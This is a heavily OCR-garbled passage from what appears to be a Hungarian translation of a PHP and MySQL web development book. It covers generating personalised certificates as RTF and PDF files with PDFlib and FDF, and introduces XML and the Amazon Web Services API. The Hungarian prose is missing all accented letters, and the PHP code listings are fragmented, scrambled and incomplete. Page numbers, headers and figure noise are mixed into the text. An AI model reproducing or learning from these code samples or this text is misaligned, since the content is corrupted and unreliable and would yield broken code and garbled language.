a sablon s ezltal a $kimenet vltoz tartalma is viszonylag hossz. Alkalmazsunk szempontjbl a legnagyobb problmt az jelenti, hogy a felhasznl az oklevelet - nyomtats cljbl- betlti szvegszerkeszt programjba, ahol egyszeren lehe tsge nylik mdostani azt. Az RTF formrum nem teszi lehetv csak olvashat dokumenrumok ltrehozst.
551
szerkeszt segtsgvel belenznk az ltalunk ltrehozott oklevlsablonba,azt fogjuk ltni, hogy a helykicltk a kvetkez kppen nznek ki:
<<N)-13(AME)-10(>)-6(> <<Na)-9(m)O(e)-18(>> <)-ll(<)l(sc)-17(or)-6(e)-6(>)-ll(> <)-ll(<)l(m)-12(m)0(/d)-6(d)-19(/)l(yy)-13(yy)-13(>>
Ha vgignznk az llomnyon, lthatjuk,hogy az RTF formcummal ellenttben ezt az emberi szem sokkal kevsb kpes elolvasni.
Megjegyzs: A PDF sablonfjl formtuma az ltalunk hasznlt Acrobat vagy egyb PDF-ltrehoz eszkz verzijtl fgg.
A pldhoz megrt kd egyltaln nem biztos, hogy ltalunk ltrehozott sablonok esetn is mkdni fog. Ellenrizzk sablonunkat, s szksg esetn mdostsuk a kdot! Ha a problma tovbbra is fennll, alkalmazzuk a fejezet kvetkez rszben bemutatott, a PDF/ib fggvnyeket hasznl kdot! Annak rdekben, hogy a gyakorlatot vgig tudjuk csinlni, az angol nyelv PDF sablont nem mdostottuk. !gy ha megnyitjuk a fjlt egy szvegszerkesztben, a helykitltk pontosan a fent lthat m don fognak kinzni.
Tbbfle megolds ltezik erre a problmra. Az egyik lehetsg,hogy vgiglpkednk a helykitlckn,s kitrljk a for mzsi kdokat. Ez alig vltoztatja meg a dokumentum kinzett,mert az elz sablonban begyazott kdok gyis jelzik,hogy mennyi helyet kell hagyni a lecserlend helykicltk beti kztt. Ennl a megkzeltsnl azonban vgig kell menni a teljes PDF f:ijlon,s sajt kezilleg kell szerkeszteni, radsul ezt minden egyes alkalommal meg kell tennnk, ha megvltoztattuk vagy frissttettk a fjlt. Ez nem jelent tl nagy munkt abban az esetben, ha csak ngy helykitltvel llunk szemben, de rm lomm vlhat,ha tbb dokumentum szmos helykitltjvel kell foglalkozni, s gy dntnk,hogy az sszes dokumeneum ban megvltoztatjuk - mondjuk- a fejlcet. Egy msik mdszerrel elkerlhet az ilyen problma. Adobe Acrobat segitsgvel ltrehozunk egy PDF rlapot, amely a ko rbban hasznlt HTML rlapokhoz hasonlan res, elnevezett mezket tartalmaz. Ezt kveten PHP kddal elkszthetjk az FDF (Forms Data Format) fjlt, ami lnyegben egy sablonba berand adathalmaz. FDF f:ijlokat a PHP FDF fggvny knyvcrval hozhacunk ltre: egsz pontosan az fdf_create () fggvnnyel lltjuk el a fjlt, az fdf_set_value () fggvnnyel meghatrozzuk a mezk rtkeit,majd az fdf_set_file () fggvnnyel belltjuk a megfelel sablonfjlt. Vgl a megfelel MIME-tpussal- ez jelen esetben vnd. fdf- tadjuk a fjlt a bngsznek,s annak Acrobat Reader bvtmnye kicserli az rlapban az adatokat. Mindez nagyon jl hangzik, azonban kt szpsghibja is van a dolognak. Elszr is azt felttelezi,hogy rendelkeznk az Acrobat Professional programmal (a teljes verzival, nem az ingyenes olvasval, st nem is a Standard verzival). Msodsorban a soron belli szvegeket esetenknt jval krlmnyesebb kicserlni,mint az rlapmezket. Egyes helyzetekben ez problmt okozhat,de ez mindig az adott dokumentumtl fgg. A PDF dokumentumok ltrehozsnak feladara igen gyakran levelek ellltsakor jelentkezik, s a levelekben sok olyan szveg lehet,amit soron bell kell cserlni. Ilyen clra az FDF fjlok nem igazn hasznlhatk. Ha viszont pldul adnyomtatvnyt szecetnnk online kitlteni, akkor a fenti problmk egyltaln nem jelentkeznek. Az FDF formtumrl az Adobe weboldaln,a http:/ /www.adobe.com/ devnet/ acrobat/fdftoolkit.html cmen olvasharunk bvebben. Ha gy dntnk, hogy ezt a megkzeltst vlasztj uk,rdemes lehet elolvasni a PHP online kziknyvben az FDF doku mentcijt: http:/ /www.php.net/ manual/ en/ ref.fdf.php. Most pedig sszpontostsunk a problma fent emltett,els megoldsi mdjra! Ha szrevesszk,hogy a helykitltkhz adott formzsi kdok csak ktjelbl, szmjegyekbl s zrjelekbl llnak,vagyis regulris kifejezsekhez illeszthetk, akkor meg tudjuk oldani a PDF fjlban lv helykicltk keresst s cserjt. rtunk egy fggvnyt ( pdf_csere ()),amely automa tikusan ellltja az adott helykitlthz illeszked regulris kifejezst, majd a megfelel szvegre cserli a helykicltt. Ne feledjk, hogy az Acrobat egyes verziban a helykicltk egyszer szvegek is lehetnek, amiket a korbban ltottak sze rint az st r_ replace () fggvnnyel is kicserlhetnk! Ezt a kiegsztst leszmtva a PDF sablonbl oklevelet elllt kd igen hasonl az RTF formcum esetn lcotthoz. A k dot a 32.4 pldakd tartalmazza.
32.4 pldakd: pdf. php-A perszanalizlt PDF oklevelet sablon alapjn elllt kd
<?php set_time_limit(180); // a kd lass lehet
32
'-
552
32. fejezer
//rvid vltoznevek ltrehozsa $nev = $_POST['nev']; $teszteredmeny = $ POST['teszteredmeny']; function pdf_csere($minta, $csere, $string) $hossz = strlen( $minta ); $regkif ''; $i<$hossz; $i++)
for ($i = O; if
if(!$nev
l l
!$teszteredmeny) {
32
ll sablonfjlunk megnyitsa
$fajlnev = 'PHPOklevel.pdf'; $fp = fopen ($fajlnev, 'r');
Ez a kd a PDF perszonalizlr vltozatt llrja el. A 32.6 brn lthat dokumentum szinte brmilyen rendszeren ugyan olyan nyomatot eredmnyez, s valamivel nehezebben mdosthat, illetve szerkeszthet. Lthatjuk, hogy tum majdnem tkletesen gy nz ki, mint a 32.5 brn lv RTF formtum.
A mdszernek az egyik hibja, hogy a kd a regulris kifejezsek illesztse miatt elg lassan fut le. A regulris kifejezsek
ez
a PDF dokumen
sokkal tbb idr ignyelnek, minr az RTF verzinl hasznlhat str_replace() fggvny. Ha sok helykitltt kell doku mentumainkban lecserlni, vagy nagy szm dokumentumot kivnunk ltrehozni ugyanazon a kiszolgln, akkor rdemes
553
ms megkzeltst vlasztani. Egyszerbb sablonok esetn ez kevsb problms, ebben a fjlban is a kpeket jelkpez adatok teszik ki az llomny nagy rszt.
tt
32.6 bra: A pdf. php kd PDF sablonbl lla el az oklevelet.
32
"Hell,
mm,
842);
ll knyvjelz hozzadsa
pdf_add_bookmark($pdf,
'1. oldal',
O, 0);
'host', 0);
'Times-Roman', 24);
554
32. fejezet
pdf set_text_pos($pdf,
50,
700);
ll szveg rsa
pdf_show($pdf, 'Hell, vilg!'); pdf_continue_text($pdf,'(mondja a PHP)');
ll dokumentum vge
pdf_end_page($pdf); pdf_close($pdf); $adat = pdf_get_buffer($pdf);
' . strlen($adat));
vagyis
32
Vgzetes hiba:
Ez az zenet azt jelenti, hogy vagy nem teleptettk a PDFlib kiterjesztst, vagy nem kapcsoltuk be a PHP-ben. A telepts folyamata viszonylag egyrtelm, m nhny rszlete az ltalunk hasznlt PHP s PDFlib konkrt verzijrl fgg. Rszleres utastsokat tallunk az online PHP kziknyv jegyzetekkel elltott vltozatnak a PDFlib knyvtrral foglal koz oldaln, ahol hasznos felhasznli megjegyzseket is olvashatunk. Ha a kd megfelelen fut rendszernkn, rdemes megvizsglni a mkdst. A
$pdf = pdf_new(); pdf open_file($pdf, "");
sorok hozzk ltre a memriban a PDF dokumentumot. A pdf _set_info( ) fggvnnyel cmkket adharunk a dokumentumnak: trgy, cm, a PDF ltrehozja, szerz, a kulcssza vak listja, illerve egy egyni, a felhasznl ltal definilt mez. A kdban a szerzt, a cmer, a fjl ltrehozjt s a trgyat adtuk meg. rdemes megjegyezni, hogy rnind a hat informcis mez opcionlis:
pdf set info($pdf, pdf set_info($pdf, pdf_set_info($pdf, pdf set info($pdf, "Szerz", "Cm", "Luke Welling s vilg! Laura Thomson"); "Hell, (PHP)");
"tesztpdf.php");
"Teszt PDF");
Minden PDF dokumentum adott szm oldalbl ll. j oldal megkezdshez a pdf_begin_page () fggvnyt kell meg hvni. A pdf _open ( ) ltal visszaadott azonost mellett az oldal mrett kell a fggvnynek paramce(knt tadni. A doku mentum akr minden oldala klnbz mret lehet, de ha nincs valami klnleges oka, akkor rdemes egysges paprrnretet hasznlni. A PDFlib pontokban szmolja gy az oldalmretet, mint az egyes oldalon lv koordintkat. Az A4-es oldal krlbell 595
x
555
PDF dokumentumokat nem csupn nyomtatsi clbl kszchetnk. Olyan PDF funkcikat is tarcalmazhatnak, mint pl dul a hiperhivatkozsok s a knyvjelzk. A pdf_add_outline{) fggvny knyvjelzt ad a dokumentumhoz. A knyvjel zk az Acrobat Readernek a dokumentumtl elklntett paneljn jelennek meg, s lehetv teszik, hogy egybl a hivatkozott rszre ugorjunk. A
pdf_add_bookmark{$pdf,
'l oldal', O,
0);
sorl. oldal felirat, az aktulis oldalra mutat knyvjelzt ad dokumentumunkhoz. Az elrhet bettpusok kre opercis rendszerenknt, st akr szmtgpenknt is eltrhet. A rninden krlmnyek kzte egyformn megjelen kimenet rdekben olyan alap bettpusokat rdemes hasznlni, amelyek rninden PDF-olvasban megfelelen mkdnek. A tizenngy ilyen alaptpus a kvetkez: Courier Courier-Bold Courier-Oblique Courier-BoldOblique Helvetica Helvecica-Bold
Symbo! ZapfDingbats
Az ettl eltr bettpusokat begyazhatjuk a dokumentumokba, m ez egyrszt nveli a fjlmretet, msrszt pedig nem mindegy, hogy rnilyen licenccel rendelkeznk az adott bettpusra vonatkozan. A kvetkezkppen vlaszthatjuk ki a bett pusr, mrett s karakcerkdolst:
$betutipus = pdf_findfont($pdf, 'Times-Roman', 'host',
0);
32
A betrnretet pontokban adjuk meg. Pldnkban host tpus karakterkdolst vlasztottunk. A lehetsges rtkek a winansi, a b uiltin, a macroman, eur jelet) hasznlja.
bui l tin -A bettpusba beptett kdolst hasznlja. lcalban nem latin betcpusoknl, valamint szimblumoknl
az
az
winansi-Az ISO 8859-1 karakterkszletet, illetve a Microsoft ltal hozzadott klnleges karaktereket (pldul
szeren a winansi lehetsget vlasztja. Egy PDF dokumentum nem olyan, rnint egy HTML vagy egy szvegszerkesztben ellltott. A szveg nem fog automa tikusan az oldal bal fels sarkban kezddni s magtl sorokra trni. Magunknak kell meghatrozni, hogy hova helyezzk az egyes szvegsorokat. Ahogy mr jeleztk, a PDF pontokban hatrozza meg az oldalon belli helyeket. Az orig (a (O, O) koordinta) Mivel
az az x, y
oldalmtet 595
842 pont, az (50, 700) pont a lap bal szltl krlbelll,6 centimterre, fellrl pedig 5 centi 50, 700);
mterre helyezkedik el. Az albbi kdsorral lltjuk be erre a pontea a szveg helyt:
pdf_set_text_pos{$pdf,
Az oldalbellts utn vgre szveget is rhatunk r. A pdf_show{) fggvnyt meghvva rhatunk a kivlasztott bettpus sal
az
pdf_show($pdf, 'Hell, vilg!'); " sor a,.Hell, vilg! szveget adja a dokumentumhoz.
Ha szecetnnk a kvetkez sorba tovbbi szvegec rni, a pdf_continue_text{) fggvnyt kell meghvnunk. A ,.{
mondja a PHP)"karakcerlncot a pdf_continue_text{$pdf,'{- mondja a PHP)');
556
32.fezer
Ennek a sornak a ponros helye a kivlasztott bettpusrl s -mrettl fgg. Ha sorok vagy kifejezsek helyett folyamaros bekezdseker szerernnk rni, akkor hasznljuk inkbb a pdf _show_boxed() fggvnyt, amelyben megadharunk egy szveg dobozt, amibe a szveget szeretnnk folyatni! Miutn hozzadtuk az oldalhoz annak teljes tattalmt, a pdf_end_page () fggvnyt kell meghvnunk:
pdf_end_page($pdf);
sorral r vget a.Hell, vilg!" dokumentum ltrehozsa. Most mr elkldherjk a ksz PDF-er a bngsznek:
$adat = pdf_get_buffer($pdf);
' . strlen($adat));
Ha gy tetszik, merevlemezre is rhatjuk az adatot. Ezt gy tehetjk meg, hogy a pdf_open_file () fggvnynek msodik paramterknt radunk egy fjlnever. rdemes megemlteni, hogy a PHP kziknyvben opcionlis PDF!ib fggvnyparamterknt dokumentlt paramterek a PDF!ib egyes verziiban ktelezk is lehetnek. Az oklevl dokumentuma viszonylag bonyolult, szeglye, vektoros s pixel grafikus kpet egyarnt tartalmaz.A korbban hasznlt kt mdszernl ezek egy szvegszerkesztvel knnyen hozzadhark a dokumenrumhoz. PDF!ib fggvnyek hasznlata esetn sajt kezleg kell ezeket az oldalhoz hozzadnunk.
32
egyben le tudnnk m
solni a korbban hasznlt oklevelet, rengeteg erfesztsnkbe kerlne az egyes dsztelemek ellltsa s elhelyezse, mikz ben olyan szvegszerkeszrvel, minr pldul a Microsoft Word, gyerekjtk a dokumentum elksztse. A korbban ltott szveger szeretnnk hasznlni, illerve meg akarjuk jelenteni a dszszalag vekroros grafikjr s a pixelgra fikus alrsr is, de a dszszegly ellltsrl elrekintnk.A 32.6 pldakdban talljuk a PDF fjlt elllr teljes kdot. 32.6 pldakd: pdflib.php-Az oklevl ellltsa PDFlib fggvnyekkel
<?php
$ POST['teszteredmeny'];
if(!$nev
l l
! $teszteredmeny) {
{
=
$datum
date('Y.m.d.');
pdf_open_file($pdf,
557
ll oldalmret belltsa pontokban s az oldal ltrehozsa ll az A4-es lap 595 $szelesseg = 842; $magassag
= x
842 pont
pdf_begin_page($pdf,
ll szeglyek rajzolsa $margo = 20; $szegely = ll a szegly s a lap szle kztti tvolsg ll a szegly f vonalnak vastagsga
10;
$terkoz = 2;
ll bels szegly rajzolsa pdf_rect($pdf, $margo+$szegely+$terkoz, $margo+$szegely+$terkoz, $szelesseg-2*($margo+$szegely+$terkoz), $magassag-2*($margo+$szegely+$terkoz)); pdf stroke($pdf);
32
\.
{
$betutipus, 48);
pdf_setfont($pdf,
'PHP oklevl',
'PHP oklevl',
490);
{
$betutipus, 26);
pdf_setfont($pdf,
$startx
$startx+90,
$betutipus_neve,
'host',
0);
558
32. fejezet
pdf_setfont($pdf,
$betutipus,
20);
'jogosult az oklevlre,
$startx,
$startx,
310);
$startx,
260);
'A vizsgt sszelltotta s felgyelte a ', 'Kpzeletbeli PHP Minst Intzmny', "$datum napjn", 'Kiadta:', $startx, 100); 150);
$startx, 180);
210);
$startx,
$startx,
pdf load_image($pdf,
'png',
'/Program
Files/Apache
Software '');
$alairas);
ll sttkk
1/255,
1/255);
// fekete
ll l. szalag rajzolsa
pdf_moveto($pdf, pdf_lineto($pdf, 630, 610, 632, 646, 666, 150); 55); 69); 49); 150);
32
pdf_closepath($pdf); pdf_fill($pdf);
ll l.
szalag krvonala 630, 610, 632, 646, 666, 150); 55); 69); 49); 150);
pdf_closepath($pdf); pdf_stroke($pdf);
ll 2. szalag rajzolsa
pdf_moveto($pdf, pdf_lineto($pdf, pdf lineto($pdf, pdf lineto($pdf, pdf_lineto($pdf, 660, 680, 695, 716, 696, 150); 49); 69); 55); 150);
pdf_closepath($pdf); pdf_fill($pdf);
ll 2.
559
pdf_lineto($pdf, pdf_lineto($pdf,
716, 696,
55); 150);
pdf_closepath($pdf); pdf_stroke($pdf); pdf_setcolor ($pdf, 'both', 'cmyk', 1/255, 81/255, 81/255, 20/255); // vrs
strlen($adat));
/'
$kozepponty, $pdf,
$agak,
$sugar,
32
$kitoltve)
$sugar-$ag_merete;
for ($i = 0;
$i<=$agak*2;
$i++)
$szog= ($i*2*pi())/($agak*2);
if($i%2)
{
+ +
$kozeppontx; $kozepponty;
$belso_sugar*cos($szog) + $kozeppontx;
$y = $belso_sugar*sin($szog) + $kozepponty;
{
$x, $y);
pdf_lineto($pdf,
pdf_stroke($pdf);
560
32. fejezet
?>
A kddal elllitott oklevelet a 32.7 brn ltjuk. Nagyon hasonl a korbbiakhoz, csak a szeglye egyszerbb, s a szalagon a csillag kicsit mshogy nz ki. Ennek oka, hogy a dszszalagot megrajzolruk, nem pedig meglv grafikt helyeztnk a doku mentumba.
... L ----*
.....
t'.i!
.-:
- Yf
ll ll
Tbc-----""lhc
FktioPallao.ti""o!PHPC
.. .NtylO.lOOl..
,.,,
l H' o o.......__
32
tumot. Ha fjlba rnnk, egyedi fjlneveket elllt mechanizmusta is szksgnk lenne, valamilyen mdszerrel meg kellene akadlyoznunk, hogy a felhasznlk hozzfrjenek msok okleveleihez, illetve meg kellene tallni annak a mdjt, hogyan lehet a rgebbi okleveleket trlve szabad terlethez jutni a kiszolgln. Dokumeorum memriban val ltrehozshoz paramterek nlkl hvjuk meg a pdf _new () fggvnyt, majd meghvjuk a pdf _open _file() fggvnyt is, ahogy tettk azt kdunkban is:
$pdf
=
pdf_open_file($pdf,
Az egyszerstett szegly tulajdonkppen hrom keretbl ll: egy vastagabb s kt vkony keretbl, amelyek kzl az egyik a vasrag szeglyen kivl, a msik pedig bell helyezkedik el. A hrom kereter tglalapknt fogjuk megrajzolni. Annak rdekben, hogy a szeglyeket gy helyezzk el, hogy a ksbbiekben egyszeren mdosthassuk az oldalmretet vagy a szeglyek megjelenst, a szeglyek pozcionlsra vltozkat hasznlunk: Sszelesseg s $magassag, illetve
$margo, $szegely s $terko z. A $margo vltozval hatrozzuk meg azt, hogy hny pontnyira van a szegly az oldal
szlrl, a $szegely a legersebb szegly vastagsgt adja meg, a $terkoz pedig a vastag s a vkony szeglyek kztti t volsgot trolja. Ha rajzolrunk mr ms grafikus alkalmazsprogramozsi fellettel (API), a PDF!ib knyvtrral val rajzols nem sok j donsgot tartogat szmunkra. Ha nem olvastuk el a Kpek ellltsa cm 22. fejezetet, rdemes lehet most megtennnk, mert a kpek gd knyvtrral val rajzolsa nagyon hasonl a PDF!ib knyvtrral trtn rajzolshoz. A vkony szeglyek ellltsa gyerekjtk. Tglalapot a pdf_rect ( ) fggvnnyel hozharunk ltre, amely paramterknt a PDF dokumeorum azonostjt, a tglalap bal als sarknak rtkeket:
pdf_rect($pdf, $margo-$terkoz, $szelesseg-2*($margo-$terkoz), $magassag-2*($margo-$terkoz)); $margo-$terkoz,
x
sgt vrja. Mivel rugalmas kialakits dokumenrumra van szksgnk, a belltott vltozkbl szmtjuk ki ezeket az
A pdf_rect () meghvsa ltrehozza a tglalap alak grbt (path). Az alakzat megrajzolshoz meg kell hvni
apdf_stroke() fggvnyt: pdf_stroke($pdf);
561
setlinewidth()
A kzps,vastag szegly megrajzolshoz meg kell adni a vonalvastagsgot. Az alaprtelmezett vastagsg l pont. A pdf_ albbi meghvsa a $szegely rtkre, jelen esetben 10 pontra lltja a vonalvastagsgot:
$szegely);
pdf_setlinewidth($pdf,
A belltott vonalvastagsggal ismt lttehezunk egy tglalapot (a pdf_rect() fggvnnyel),majd meghvjuk a pdf_ stroke() fggvnyt,hogy megrajzolja azt:
pdf_rect($pdf, $margo+$szegely/2, $margo+$szegely/2, $szelesseg-2*($margo+$szegely/2), $magassag-2*($margo+$szegely/2)); pdf_stroke($pdf);
pontra:
A pdf_show_xy () fggvnnyel helyezzk el azoklevlen a szvegsorokat. A sarok tbbsgnl bellthat rtket adunk a bal marg x koordintjnak ($startx) , az y koordintt pedig szemmctk alapjn vlaszguk ki. Mivel a cmsort vzszin tesen kzpre szeretnnk igaztani, meg kell llaptani a szlessgt ahhoz, hogy a bal szlt megfelel pozciba helyezhessk. Karakterlnc szlessgt a pdf_stringwidth () fggvnnyel derthetjk ki. A
pdf_stringwidth($pdf, 'PHP oklevl', $betutipus, '12')
fggvnyhvs az adott bettpussal s mretben szedett 'PHP oklevl'szering szlessgt adja vissza. Ugyangy, mnt az oklevl tbbi vltozatban,most is szkennelt kpknt szrjuk be az alrst. Az albbi hrom utasts
$alairas
pdf_load_image($pdf,
'png',
'/Program
Files/Apache
Software '');
pdf_close image($pdf,
$alairas);
megnyiga az alrst tartalmaz PNG fjlt, a meghatrozott helyen hozzadja a kpet az oldalhoz,majd bezrja a kpfjlt. A PNG helyett termszetesen ms fjltpust is hasznlhatunk.
Megjegys: Amikor a pdf_load_image() fggvnnyel tltnk be kpet, a fjl teljes elrsi tvonalt meg kell adni. A pl
dban az alairas.pngfjl Windows rendszeren lv elrsi tvonalt ltjuk.
32
'-
Az oklevl PDFlib fggvnyekkel trtn elksztsnek legnehezebb rsze a dszszalag hozzadsa. Azt ugyan nem tehegk meg, hogy automatikusan megnyiguk s beillesztjk a grafikt tartalmaz Windows metafjlt, de alakzatokat tetszs szerint rajzolhatunk. A szalagokat mintz kitlttt alakzatot az albbi kddal rajzolhatjuk meg. A krvonal sznt feketre, a kitltsznt pedig sttkkre lltjuk:
pdf setcolor ($pdf, pdf_setcolor ($pdf, 'both', 'both', 'cmyk', 'cmyk', 43/255, l/255, 49/255, 1/255, 1/255, 67/255);// sttkk 1/255, 1/255);ll fekete
pdf_closepath($pdf); pdf_fill($pdf);
Mivel krvonalat is szeretnnk a sokszg kr,megint ltre kell hozni ugyanazt a grbt, de ezttal a pdf_stroke (),nem pedig a pdf_fill() fggvnyt hvjuk meg r. A sokg csillag bonyolult, ismtld alakzat, fggvnyt rtunk a grbe pozcijnak kiszmtsra. Fggvnynk neve csillag_raj zolsa (),s paramterknt a csillag kzppontjnak x s y koordintjt, gainak szmt, sugart s hosszt, a PDF dokumentum azonostjt, illetve egy Boole-i rtket vr, amely azt hatrozza meg, hogy ki legyen tltve a csillag,vagy csupn krvonala legyen.
562
32. fejezet
A csillag_ raj zolsa () fggvny trigonometriai szmtsokkal hatrozza meg a csillag cscsainak helyt. Ahny g csillagot szecetnnk rajzolni, annyi pontot kapunk a csillag kzppongtl sugrnyi tvolsgra, s ugyanennyi pontot egy olyan kisebb krn, amely a kls (a sugr ltal meghatrozott) krtl az $ag_mere te tvolsgra van. A kt krn lv pontokat egy-egy vonallal kgk ssze. rdemes megjegyezni, hogy a PHP trigonometrikus fggvnyei, gy pldul a cos () s a sin() fokok helyett radinban szmol. Egy megfelel fggvnnyel s nmi matematikai szmolssal pontosan elllthacunk akr bonyolultabb ismtld alakzato kat is. Ha kifinomultabb szeglye szecetnnk adni az oldalhoz, hasonl mdszerrel azt is megrehetnnk. Ha az oklevl sszes elemr elksztettk, be kell zrnunk az oldalt s a dokumentumot.
vagy
header('Content-type: application/pdf');
Nem rt tudni azt sem, hogy a bngszk nem egysges mdon kezelik ezeket a fejlceket. Elssorban az Internet Explorer hajlamos gy dnteni, hogy figyelmen kvl hagyja a MIME-tpust, s megksrli automatikusan meghatrozni a f:ijltpust. (Az Internet Explorer jabb verziiban javulni ltszik a helyzet, gy ha ilyen problmt tapasztal unk, a legegyszerbb megolds bngsz nk frisstse lehet.) Egyes fejlcek problmkat okoznak munkamenec-vezrls esetn. Tbbflekppen orvosolhatjuk ezeket. Mi szemly szerint azt tapasztaltuk, hogy a
POST
megolddik ez a problma. Egy msik lehetsges megolds, ha nem online PDF-et hasznlunk, hanem letltegk a dokumen tumot a felhasznlval, ahogy tettk azt a,.Hell, vilg!" PDFlib-pldban. gy is elkerlhegk a problmkat, ha kiss eltr verzikban hozzuk ltre kdunkat, s a leginkbb eleerjedt bngszkre optimalizljuk az egyes vltozatokat.
32
A projekt tovbbfejlesztse
Ha valamivel komolyabb tennnk a pldban szerepl vizsgt s rtkelst, akkor sokkal szlesebb krben hasznlhatnnk a ki fejlesztett alkalmazst, m clunk jelen esetben csupn az volt, hogy bemutassuk, hogyan lltsunk el sajt dokumentumokat. Az online tadhat perszanalizlt dokumentumok krbe tartoznak pldul a jogi dokumentumok (szerzdsek stb.), a rszben elre kitlttt megrendel- vagy jelentkezsi lapok, illetve a kzintzmnyek ltal hasznlt rlapok.
Hogyan tovbb:
A kvetkez fejezeeben a PHP XML funkciit fogjuk grcs al venni, s arra hasznljuk a PHP-t, hogy REST s SOAP segtsgvel csatlakozzunk az Amazon Web Services API-jhoz.
33
Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel
Az elmlt vekben fontos kommunikcis eszkzz vlt az Extensible Markup Language (kiterjeszther ler nyelv, XML).
Fejezetnkben az Amazon Web Services fellett felhasznlva bevsrlkosarat fejlesztnk honlapunkra, amelynek mgrres feldolgozrendszere (back end) az Amazon lesz. (Alkalmazsuk neve Tahuayo, amely egybknt az Amazonas mellkfolyja.) Kt klnbz, egy SOAP s egy REST alap mdszert hasznlunk. A REST-et XML over HTTP-nek, vagyis HTTP pro tokollon keresztli XML-nek is szoks nevezni. A PHP bepterr SimpleXML knyvtrr, illetve a kls NuSOAP knyvt rat fogjuk ignybe venni e kr mdszer megvalsrsra. A fejezetben az albbi tmakrkkel foglalkozunk: Az XML s a Web Services alapjainak megismerse Az XML hasznlara az Amazonnal val kommuniklsra XML feldolgozsa a PHP SimpleXML knyvrrval Vlaszok gyorsrtrazsa Kommunikci az Amazonnal a NuSOAP knyvtr segtsgvel
564
33. fejezet
Mieltt rtrnnk alkalmazsunk alkotelemeinek bemutatsra, sznjunk egy kis idt arra, hogy megismerjk az XML szerkezett s hasznlatr, illetve ltalnossgban a Web Services felletet!
Ismerkeds
ket.
az
XML-lel
Azok szmra, akik mg nem ismerik az XML-t s a Web Services programot, a kvetkez oldalakon rviden bemutatjuk
Az imnt mr rtuk, hogy az XML az Extensible Markup Language rvidtse, jelentse kiterjeszthet ler nyelv. Specifik
cijt a W3C konzorcium ksztette. Az XML-rl rengeteg informcit tallunk a W 3C XML-rl szl oldaln: http://www. w3.org/XML/. Az XML a Standard Generalized Markup Language (SGML) egyszerstett rszhalmaza. Ha ismerjk mr a HTML-t, vagyis a hiperszveg-ler nyelvet, akkor knnyedn megrtjk majd az XML fogalmait is. (Ha netaln nem ismernnk mg a HTML-t, akkor a rossz vgn kezdtk olvasni ezt a knyvet!) Az XML dokumentumok cmke- (tag) alapszveges formtumok. A 33.1 pldakdban pldaknt kzlt XML dokumen tum az Amazon ltal- adott paramterekkel rendelkez XML over HTTP krsre- kldtt vlasz. (A projekt kdjaiban a korbbi fejezetektl eltrerr- nem fordtjuk le a vltozkat, fggvnyeket stb., illetve a bngszben megjelen szveges ele meket. Mivel kdunk az Amazonnal fog kommuniklni, ragaszkodnunk kell az Amazon ltal megkvetelt vltoznevekhez.) 33.1 pldakd: A knyvnk els kiadst ler XML dokumentum
<?xml version="l.O" encoding="UTF-8"?> <ItemLookupResponse xmlns="http://webservices.amazon.com/AWSECommerceService/2005-03-23"> <Items> <Request> <IsValid>True</IsValid> <ItemLookupRequest> <IdType>ASIN</IdType> <Itemid>0672317842</Itemid> <ResponseGroup>Similarities</ResponseGroup> <ResponseGroup>Small</ResponseGroup> </ItemLookupRequest>
33
</Request> <Item> <ASIN>0672317842</ASIN> <DetailPageURL>http://www.amazon.com/PHP-MySQL-Development-Luke Welling/dp/0672317842%3F%26linkCode%3Dspl%26camp%3D2025%26creative%3D165953%26crea tiveASIN%300672317842 </DetailPageURL> <ItemAttributes> <Author>Luke Welling</Author> <Author>Laura Thomson</Author> <Manufacturer>Sams</Manufacturer> <ProductGroup>Book</ProductGroup> <Title>PHP and MySQL Web Development</Title> </ItemAttributes> <SimilarProducts> <SimilarProduct> <ASIN>1590598628</ASIN> <Title>Beginning PHP and MySQL: From Novice to Professional, Third Edition </SimilarProduct> <SimilarProduct> <ASIN>032152599X</ASIN> {Beginning from Novice to Professional)</Title>
565
<Title>PHP
6 and MySQL 5
Visual QuickPro Guide</Title> </SimilarProduct> <SimilarProduct> <ASIN>BOOOOSUL4F</ASIN> <Title>JavaScript Definitive Guide</Title> </SimilarProduct> <SimilarProduct> <ASIN>l590596145</ASIN> <Title>CSS Mastery: </SimilarProduct> <SimilarProduct> <ASIN>0596005431</ASIN> <Title>Web Database Applications with PHP 2nd Edition</Title> </SimilarProduct> </SimilarProducts> </!tem> </Items> & MySQL, Advanced Web Standards Solutions</Title>
o" encoding="UTF-8"?>
Ez a szabvnyos deklarci azt jelzi, hogy a most kvetkez dokumentum UTF-8 karakterkdolst hasznl XML lesz. Nzzk meg most a dokumentum trzst! Az egsz dokumentum nyit s zr cmkeprokbl ll, olyanokbl, rnint pldul a nyit s zr !tem cmke:
<!tem>
</!tem>
Az !tem pontosan olyan elem, rnint arnilyenekkel HTML-ben tallkozhatunk. St, a HTML-hez hasonlan itt is begyaz hatjuk az elemeket, rnint ahogy azt a fenti pldban az !tem elemen bell az ItemAttributes elemmel tettk, amin bell tovbbi elemeket (pldul Author) tallunk:
<ItemAttributes> <Author>Luke Welling</Author> <Author>Laura Thomson</Author> <Manufacturer>Sams</Manufacturer> <ProductGroup>Book</ProductGroup> <Title>PHP and MySQL Web Development</Title>
1-J
Ugyanakkor nhny klnbsget is meg kell emltennk a HTML-hez kpest. Az els, hogy rninden nyitcmkhez zrcmke is szksges. Kivtelt kpeznek e szably all az res elemek, amelyek- rnivel nem tartalmaznak szveget- egyet len cmkben nyitdnak s zrdnak. Ha dolgoztunk mr XHTML-lel, pontosan ezrt lthattuk a <br> cmke helyett a <br
/>-t.
Ezen tlmenen minden elemet szablyosan kell begyazni. Egy HTML rtelmezt minden bizonnyal nem
zavar a <b><i>Szveg</b></i>, de az XML vagy XHTML rvnyessghez szablyosan kell begyazni a cmkket:
<b><i>Szveg</i></b>.
Taln mr szrevettk, hogy az XML s a HTML kztt az a legfbb klnbsg, hogy elbbiben sajt cmkket hozharunk ltre. Ez adja az XML rugalmassgt, hiszen a trolni kvnt adatoknak megfelel szerkezet dokumentumokat hozhatunk lt re. D ocument Type Definitiont ( dokumentumtpus-defincit, DTD) vagy XML Schemt rva formba nthetjk XML do kumentumaink struktrjt. Mindkettt arra hasznljuk, hogy lerjuk egy adott XML dokumentum szerkezett. Ha a DTD-t vagy a Schemt osztlydeklarciknt kpzeljk el, akkor pedig az XML dokumentum az adott osztlynak lesz egy pldnya. Mostani pldnkban nem hasznlunk sem DTD-t, sem Schemt. Az Amazonnak a Web Services fellethez tartoz aktulis XML smjt a http:/ /webservices.amazon.com/ AW SECommerceService/AW SECommerceService.xsd oldalon talljuk. Az XML smt kzveclenl bngsznkben meg tudjuk nyitni.
566
33. fejezet
